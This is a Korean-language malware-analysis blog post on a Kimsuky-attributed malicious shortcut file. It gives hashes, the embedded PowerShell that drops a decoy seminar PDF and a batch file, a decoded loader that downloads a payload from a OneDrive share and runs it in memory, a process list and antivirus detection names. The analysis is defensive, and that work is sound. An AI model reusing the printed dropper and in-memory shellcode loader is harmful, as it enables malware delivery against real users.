꿈을꾸는 파랑새

오늘은 북한 해킹 조직 중 하나인 김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크,산업계,원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며 그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키 라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima),블랙반시(Black Banshee) 등으로 불리고 있으며 해당 악성코드는 기본적으로 링크 형식으로 돼 있지만, 해당 링크를 실행하면 파워셀이 작동을 하고 여기서 TEMP 파일에 bat 파일 생성 그리고 2023년도 4월 29일 세미나.pdf 파일을 생성하고 그리고 실행을 하는 방법을 사용하고 있습니다.
오늘은 링크 방식 악성코드로 제작된 악성코드인 scarcurft.lnk 에 대해 글을 적어 보겠습니다. 해쉬값은 다음과 같습니다.
파일명:scarcurft.lnk
사이즈:10.7 MB
CRC32:f620debd
MD5:e233e4da734f75388b40fed1717bfb6a
SHA-1:d38ed1f834c168e5b8759d534d047e0a40aa9db1
SHA-256:1e0b5d6b85fca648061fdaf2830c5a90248519e81e78122467c29beeb78daa1e

악성코드 scarcurft.lnk 내부 모습
악성코드 scarcurft.lnk 내부 모습

매크로를 사용해서 악성코드 공격을 했지만, 이것도 마이크로소프트 오피스 및 기타 오피스 프로그램에서 기본적인 보안 정책인 매크로 차단을 통해서 경고하고 그리고 이제는 대중적인 수법이 되었는지 해당 매크로 방식을 취하지 않고 링크 방식을 통해서 악성코드를 파워셀(PowerShell) 로 변경을 해서 공격을 하는 것으로 추측됩니다.
일단 기본적으로 링크 파일이 1 메가를 넘어가면 일단은 의심하는 것이 중요 하면 그리고 해당 방법을 선택하는 것도 더미 파일을 통해서 백신프로그램 즉 보안 프로그램을 우회하기 위한 목적일 것입니다.
Cerbero Suite Advanced로 해당 파일을 열어보면 다음과 같은 파워셀 명령어가 삽입된 것을 확인할 수가 있습니다.
내용은 다음과 같습니다.

LinkTargetIDList
{
 // not present
}

StringData
{
 namestring: 
 relativepath: not present
 workingdir: not present
 commandlinearguments:   /c powershell -windowstyle hidden $dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files')
 {$dirPath = '%temp%'}; $lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^|
 where-object {$_.length -eq 0x0000AB7F4E} ^|
 Select-Object -ExpandProperty FullName; $pdfFile = gc $lnkpath -Encoding Byte
 -TotalCount 00085268 -ReadCount 00085268;
 $pdfPath = '%temp%\2023년도 4월 29일 세미나.pdf'; sc $pdfPath ([byte[]]($pdfFile ^
 | select -Skip 002390)) -Encoding Byte; ^& $pdfPath;
 $exeFile = gc $lnkpath -Encoding Byte -TotalCount 00088506 -
 ReadCount 00088506; $exePath = '%temp(%)\230415.bat';
 sc $exePath ([byte[]]($exeFile ^| select -Skip 00085268)) -Encoding Byte; ^& $exePath;
 iconlocation: C:\Program Files (x86)\Microsoft\Edge\Application\msedge(.)exe\
}

commandlinearguments:주어진 명령어는 PowerShell을 실행하여 특정 작업을 수행합니다. 현재 디렉토리 경로를 가져오고 디렉토리 경로에 따라 임시 경로를 설정 해당 경로에서 확장자가. lnk인 파일을 검색 해당 파일을 사용하여 PDF 파일과 배치 파일을 생성하고 실행
iconlocation: C:\Program Files (x86)\Microsoft\Edge\Application\msedg.exe 경로에 있는 아이콘을 
그리고 링크 파일에는 다음과 같은 코드가 포함돼 있습니다.

악성코드 SysWOW64 이용
악성코드 SysWOW64 이용

%windir%\SysWOW64\cmd.exe   /c powershell -windowstyle hidden $dirPath = Get-Location;
if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files')
{$dirPath = '%temp%'}; $lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^
| where-object {$_.length

해당 명령어는 다음과 같습니다.
목적: 현재 디렉터리에서. lnk 파일을 검색 해당 파일로부터 일부 바이트를 읽어 PDF 파일과 배치 파일을 생성하고 실행하는 작업 수행
%windir%\SysWOW64\cmd.exe 를 실행하여 32비트 Command Prompt 활성화
PowerShell 실행 및 창 숨김 설정
현재 디렉토리 경로를 가져와서 만약 System32 이나 Program Files와 일치하면 임시 디렉터리로 설정
임시 디렉토리에서 .lnk 파일을 검색하여 파일 경로 가져옴
특정 길이의 바이트를 읽어 PDF 파일 생성한 PDF 파일 실행
다른 길이의 바이트를 읽어 배치 파일 생성
생성한 배치 파일 실행
이렇게 작성된 명령어는. lnk 파일에서 필요한 정보를 추출해 이를 기반으로 PDF 파일과 배치 파일을 생성하여 실행하는 과정을 수행

악성코드가 생성한 2023년도 4월 29일 세미나 PDF
악성코드가 생성한 2023년도 4월 29일 세미나 PDF

그리고 나서 다음 코드를 실행합니다.

powershell -windowstyle hidden -command "$pull ="$pina="""
5B4(E)65742E53657276696365506F696E744D616E61676572(5)D3A3A53656375726974795072
6F746F636F6C3D5B456E756D5D3A3A546F4F626A656374285B4E65742E5365637572697479507
26F746F636F6C5479(7)0655D2C2033303732293B2461613D275B446C6C496D706F727
428226B65726(E)656C33322E646C6C22295D7075626C6963207374617469632065787
465726E20496E7450747220476C6F62616C416C6C6F632875696E7420622C7569(6)E74206
3293B273B24623D4164642D54797065202D4D656D626572446566696E6974696F6E202461
61202D4E616D6520224141412220202D506173(7)3546872753B2461626162203D20275B
446C6C496D706F727428226B65726E656C33322E646C6C22295D7075626C6963207
3746174696320657874(6)5726E20626F6F6C205669727475616C50726F74656
37428496E7450747220612C75696E7420622C75696E7420632C6F75742049
6E74507472206429(3)B273B246161623D4164642D54797065202D4D656D62
6572446566696E6974696F6E202461626162202D4E616D6520224141422220
2D5061737354(6)872753B2463203D204E65772D4F626A6563742053797374
656D2E4E65742E576562436C69656E743B24643D2268747470733A2F2F6170
692E6F6E65(6)4726976652E636F6D2F76312E302F7368617265732F752161
48523063484D364C7938785A484A324C6D317A4C326B766379464261466846
5745784B5530354E554652695A6E706E56553134546D4A4A626B4D3251306B
5F5A5431575A456C4C536A452F726F6F742F636F6E74656E74223B2462623D
275B446C6C496D706F727428226B65726E656C33322E646C6C22295D707562
6C6963207374617469632065787465726E20496E74507472204(3)72656174
6554687265616428496E7450747220612C75696E7420622C496E7450747220
632C496E7450747220642C75696E7420652C496E745074722066293B273B24
6363633D4164642D54797065202D4D656D626572446566696E6974696F6E20
246262202D4E616D65202242424222202D50617373546872753B246464643D
275B446C6C496D706F7274(2)8226B65726E656C33322E646C6C22295D7075
626C6963207374617469632065787465726E20496E74507472205761697446
6F7253696E676C654F626A65637428496E7450747220612C75696E74206229
3B273B246666663D4164642D54797065202D4D656D626572446566696E6974
696F6E2024646(4)64202D4E616D65202244444422202D5061737354687275
3B24653D3131323B646F207B2020747279207B2024632E486561646572735B
22757365722D6167656E74225D203D2022636F6E6E6E656374696E672E2E2E
223B24786D7077343D24632E446F776E6C6F616444617461282464293B2478
30203(D)2024623A3A476C6F62616C416C6C6F63283078303034302C202478
6D7077342E4C656E6774682B3078313030293B246F6C64203D20303B246161
623A3A5669727475616C50726F74656374282478302C2024786D7077342E4C
656E6774682B30783130302C20307834302C205B7265665D246F6C6429(3)B
666F7220282468203D20313B2468202D6C742024786D7077342E4C656E6774
683B24682B2B29207B5B53797374656D2E52756E74696D652E496E7465726F
7053657276696365732E4D61727368616C5D3A3A5772697465427974652824
78302C2024682D312C202824786D7077345B24685D202D6(2)786F72202478
6D7077345B305D2920293B7D3B7472797B7468726F7720313B7D6361746368
7B2468616E646C653D246363633A3A43726561746554(6)87265616428302C
302C2478302C302C302C30293B246666663A3A57616974466F7253696E676C
654F626A656374282468616E646C652C203530302(A)31303030293B7D3B24
653D3232323B7D63617463687B736C6565702031313B24653D3131323B7D7D
7768696C65282465202D657120313132293B""";$moni="""""";for($i=0;$i -le $pina.Length-2;$i=$i+2)
{$POLL=$pina[$i]+$pina[$i+1];$moni= $moni+[char]([convert]::toint16($POLL,16));}
;Invoke-Command -ScriptBlock ([Scriptblock]::Create($moni));";Invoke-Command -
ScriptBlock([Scriptblock]::Create($pull));

부분이 실행되고 여기서 HEX로 돼 있는데 이 걸을 CyberChef(사이버 셰프)로 풀면 다음과 같습니다.

[Net.ServicePointManager]::SecurityProtocol=[Enum]::ToObject([Net.SecurityProtocolType], 3072)
;$aa='[DllImport("kernel32.dll")]
public static extern IntPtr GlobalAlloc(uint b,uint c);
';$b=Add-Type -MemberDefinition $aa -Name "AAA"  
-PassThru;$abab = '[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);
';$aab=Add-Type -MemberDefinition $abab -Name "AAB" -PassThru;
$c = New-Object System.Net.WebClient;$d="https://api.onedrive(.)com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRiZnpnVU14TmJJbkM2Q0k_ZT1WZElLSjE/root/content";
$bb='[DllImport("kernel32.dll")]public 
static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);
';$ccc=Add-Type -MemberDefinition $bb -Name "BBB" 
-PassThru;$ddd='[DllImport("kernel32.dll")]
public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);
';$fff=Add-Type -MemberDefinition $ddd -Name "DDD"
-PassThru;$e=112;do {  try { $c.Headers["user-agent"] = 
"connnecting...";$xmpw4=$c.DownloadData($d);$x0 = 
$b::GlobalAlloc(0x0040, $xmpw4.Length+0x100);$old = 0
;$aab::VirtualProtect($x0, $xmpw4.Length+0x100,
0x40, [ref]$old);for ($h = 1;$h -lt $xmpw4.Length;$h++) 
{[System.Runtime.InteropServices.Marshal]::
WriteByte($x0, $h-1, ($xmpw4[$h] -bxor $xmpw4[0]) );};try{throw 1;}
catch{$handle=$ccc::CreateThread(0,0,$x0,0,0,0);$fff::WaitForSingleObject($handle, 500*1000);}
;$e=222;}catch{sleep 11;$e=112;}}
while($e -eq 112);

설명을 하면 다음과 같습니다.
Net.ServicePointManager]:SecurityProtocol를 사용하여 보안 프로토콜을 설정
Add-Type을 사용하여 C# 코드를 PowerShell에 추가
System.Net.WebClient를 생성하여 웹 클라이언트를 만듦
지정된 URL에서 데이터를 다운로드
메모리 할당 및 보호를 위해 kernel32.dll을 사용하는 API 호출을 수행
데이터의 일부를 암호화 및 복호화하기 위해 XOR 연산을 수행
스레드를 생성하고 기다리는 CreateThread 및 WaitForSingleObject API 호출을 수행
일부 예외 처리 및 슬립을 수행하고 동작을 반복
그럼 실행은 대충 이렇게 됩니다.
%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrocef\rdrcef.exe
%WINDIR%\system32\conhost.exe
%WINDIR%\microsoft(.)net\framework\v2.0.50727\csc.exe
%WINDIR%\microsoft(.)net\framework\v2.0.50727\csc.exe
%WINDIR%\syswow64\cmd.exe
%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe
%WINDIR%\system32\conhost.exe
%WINDIR%\microsoft.net\framework\v2.0.50727\cvtres.exe
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrocef\rdrcef.exe
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrord32.exe
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrocef\rdrcef.exe
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrocef\rdrcef.exe
%WINDIR%\syswow64\cmd.exe
%WINDIR%\syswow64\cmd.exe
2%WINDIR%\system32\ipconfig.exe
%WINDIR%\system32\svchost.exe
%WINDIR%\microsoft.net\framework\v2.0.50727\cvtres.exe
%WINDIR%\system32\find.exe
%WINDIR%\system32\ping.exe
%WINDIR%\system32\audiodg.exe
%WINDIR%\system32\conhost.exe
%WINDIR%\system32\cmd.exe
%WINDIR%\system32\wbem\wmiprvse.exe
%WINDIR%\microsoft.net\framework\v2.0.50727\csc.exe
%WINDIR%\system32\taskhost.exe
%WINDIR%\microsoft.net\framework\v2.0.50727\cvtres.exe
%WINDIR%\microsoft.net\framework\v2.0.50727\cvtres.exe
%WINDIR%\microsoft.net\framework\v2.0.50727\csc.exe
악성코드는 마이크로소프트 윈드라이브에 파일을 저장한 것을 다운로드 하면 지금은 해당 계정은 사라졌습니다.
2023-05-15 11:38:58 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Dropper/LNK.Generic.S2241
ALYac:Trojan.Agent.LNK.Gen
Antiy-AVL:Trojan/Multi.Apt37
Arcabit:Heur.BZC.YAX.Boxter.949.9A2B0329
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
Avira (no cloud):LNK/Drop.Agent.VPVF
BitDefender:Heur.BZC.YAX.Boxter.949.9A2B0329
Cynet:Malicious (score: 99)
DrWeb:Trojan.MulDrop21.58429
Emsisoft:Heur.BZC.YAX.Boxter.949.9A2B0329 (B)
eScan:Heur.BZC.YAX.Boxter.949.9A2B0329
ESET-NOD32:LNK/TrojanDropper.Agent.DD
F-Secure:Malware.LNK/Drop.Agent.VPVF
Fortinet:LNK/Agent.24B2!tr
GData:Heur.BZC.YAX.Boxter.949.9A2B0329
Google:Detected
Ikarus:Trojan-Dropper.LNK.Agent
Kaspersky:HEUR:Trojan.Multi.Runner.ag
Lionic:Trojan.WinLNK.Runner.4!c
MAX:Malware (ai Score=82)
McAfee:LNK/Agent-FYF!E233E4DA734F
McAfee-GW-Edition:BehavesLike.Trojan.vx
Microsoft:Trojan:Win32/WinLNK!MSR
SentinelOne (Static ML):Static AI - Suspicious LNK
Sophos:Troj/LnkRun-DC
Symantec:Trojan Horse
Tencent:Win32.Trojan.Runner.Zmhl
Trellix (FireEye):Heur.BZC.YAX.Boxter.949.9A2B0329
TrendMicro:TROJ_FRS.0NA103DO23
TrendMicro-HouseCall:TROJ_FRS.0NA103DO23
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Boxter.949.9A2B0329
Zillya:Dropper.Agent.Script.370
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Runner.ag
입니다. 일단 해당 대북 관계자 분들을 노리고 있으면 기본적인 보안 수칙을 잘 지키면 되고 링크 파일이 쓸데없이 저렇게 파일이 크지 않으므로 의심을 하는 것은 당연합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band